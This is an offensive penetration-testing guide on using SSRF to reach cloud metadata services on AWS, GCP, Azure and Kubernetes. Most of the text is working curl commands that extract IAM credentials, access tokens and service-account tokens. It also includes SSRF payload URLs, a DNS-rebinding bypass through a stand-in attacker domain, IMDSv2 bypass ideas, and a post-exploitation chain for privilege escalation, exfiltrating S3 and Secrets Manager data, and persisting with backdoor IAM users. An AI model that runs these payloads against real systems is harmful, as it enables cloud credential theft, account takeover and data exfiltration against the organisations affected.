Cloud Metadata Exploitation: AWS IMDSv1/v2, GCP, Azure, and Kubernetes

Cloud metadata services are designed to provide instance-specific configuration to running VMs and containers. When combined with Server-Side Request Forgery (SSRF) vulnerabilities, they become the most impactful targets in cloud penetration testing — a single SSRF can pivot to full account compromise. This guide covers exploitation across every major cloud provider.

The Metadata Service Overview

Every major cloud provider exposes a non-routable IP address accessible only from within the instance:

• AWS — http://169.254.169.254
• GCP — http://metadata.google.internal / http://169.254.169.254
• Azure — http://169.254.169.254
• DigitalOcean — http://169.254.169.254
• Alibaba Cloud — http://100.100.100.200

AWS IMDSv1 — Unauthenticated Token Theft

IMDSv1 (Instance Metadata Service version 1) requires no authentication tokens. Any HTTP GET to the metadata IP succeeds:

# Direct access from EC2 instance
curl http://169.254.169.254/latest/meta-data/

# Navigate the tree
curl http://169.254.169.254/latest/meta-data/iam/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns the role name, e.g.: "EC2InstanceRole"

# Get the actual credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2InstanceRole
# Returns:
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "...",
#   "Expiration": "2024-01-01T00:00:00Z"
# }

# Other useful endpoints
curl http://169.254.169.254/latest/meta-data/hostname
curl http://169.254.169.254/latest/meta-data/public-ipv4
curl http://169.254.169.254/latest/meta-data/instance-id
curl http://169.254.169.254/latest/user-data   # often contains secrets!

IMDSv1 via SSRF

When exploiting SSRF in a web application hosted on EC2, the SSRF payload is simply the metadata URL. No special encoding needed for IMDSv1:

# Basic SSRF payload for IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Common SSRF parameter names to test
?url=http://169.254.169.254/latest/meta-data/
?target=http://169.254.169.254/latest/meta-data/
?redirect=http://169.254.169.254/latest/meta-data/
?load=http://169.254.169.254/latest/meta-data/

# DNS rebinding bypass (if IP is blocked but DNS is allowed)
# Register a domain that resolves to 169.254.169.254
# http://attacker-rebind.com/ -> 169.254.169.254

IMDSv2 Bypass via SSRF

IMDSv2 requires a session token obtained via a PUT request with a TTL header. This is designed to prevent SSRF exploitation since most SSRF vulnerabilities only allow GET requests. However, many SSRF implementations forward headers, making bypass possible.

# IMDSv2 — Step 1: Get a session token (PUT request required)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token"   -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Step 2: Use the token for subsequent requests
curl -s -H "X-aws-ec2-metadata-token: $TOKEN"   http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 SSRF bypass — requires the app to forward custom headers
# If the vulnerable app forwards the X-aws-ec2-metadata-token header:
# 1. First request to get token: PUT + TTL header
# 2. Use token in second request with X-aws-ec2-metadata-token: TOKEN

# Some SSRF implementations can be exploited via:
# - Open redirects that follow redirects server-side
# - Header injection vulnerabilities
# - Proxy implementations that allow custom methods

GCP Metadata Server

GCP's metadata server requires a specific header Metadata-Flavor: Google. Without it, requests are rejected — providing some protection against naive SSRF:

# Access GCP metadata (from within GCP instance)
curl -s -H "Metadata-Flavor: Google"   "http://metadata.google.internal/computeMetadata/v1/"

# Get service account token (primary target)
curl -s -H "Metadata-Flavor: Google"   "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}

# Get project ID and other details
curl -s -H "Metadata-Flavor: Google"   "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# List all scopes (what the SA can do)
curl -s -H "Metadata-Flavor: Google"   "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"

# SSRF bypass — some apps forward all headers; try injecting Metadata-Flavor: Google
# Also try: http://169.254.169.254/computeMetadata/v1/ (same IP, same header requirement)

Azure IMDS

# Azure requires a specific header: Metadata: true
curl -s -H "Metadata: true"   "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | python3 -m json.tool

# Get Managed Identity token (equivalent to AWS IAM role credentials)
curl -s -H "Metadata: true"   "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns: access_token, expires_in, token_type

# Use the token to call Azure REST API
ACCESS_TOKEN="eyJ..."
curl -s -H "Authorization: Bearer $ACCESS_TOKEN"   "https://management.azure.com/subscriptions?api-version=2020-01-01"

Kubernetes Service Account Tokens

# From inside a Kubernetes pod
# Service account token (auto-mounted)
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Use token to call API server
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

curl -s --cacert $CACERT   -H "Authorization: Bearer $TOKEN"   https://kubernetes.default.svc/api/v1/namespaces/default/secrets

# Kubernetes metadata via downward API
cat /etc/podinfo/namespace
cat /etc/podinfo/labels

Cloud Credential Chain — From Metadata to Lateral Movement

The full exploitation chain after extracting cloud credentials:

1. Extract credentials from IMDS (access key + secret + session token)
2. Configure locally: aws configure or set environment variables
3. Enumerate permissions: aws iam simulate-principal-policy or enumerate-iam
4. Escalate privileges: CreatePolicyVersion, PassRole, AssumeRole chains
5. Exfiltrate: S3 buckets, Secrets Manager, SSM Parameter Store
6. Persist: Create IAM user with access keys, create backdoor roles

# After getting credentials via IMDS:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Identify the role and permissions
aws sts get-caller-identity
aws iam simulate-principal-policy   --policy-source-arn $(aws sts get-caller-identity --query Arn --output text)   --action-names "s3:ListAllMyBuckets" "iam:CreateUser" "ec2:DescribeInstances"

Combine IMDS exploitation with SSRF testing — the Recon Hub helps identify SSRF entry points in cloud-hosted applications. After gaining cloud credentials, follow the full AWS Penetration Testing Guide for privilege escalation and data exfiltration. Kubernetes-specific token abuse is covered in depth in our Kubernetes Security Testing guide.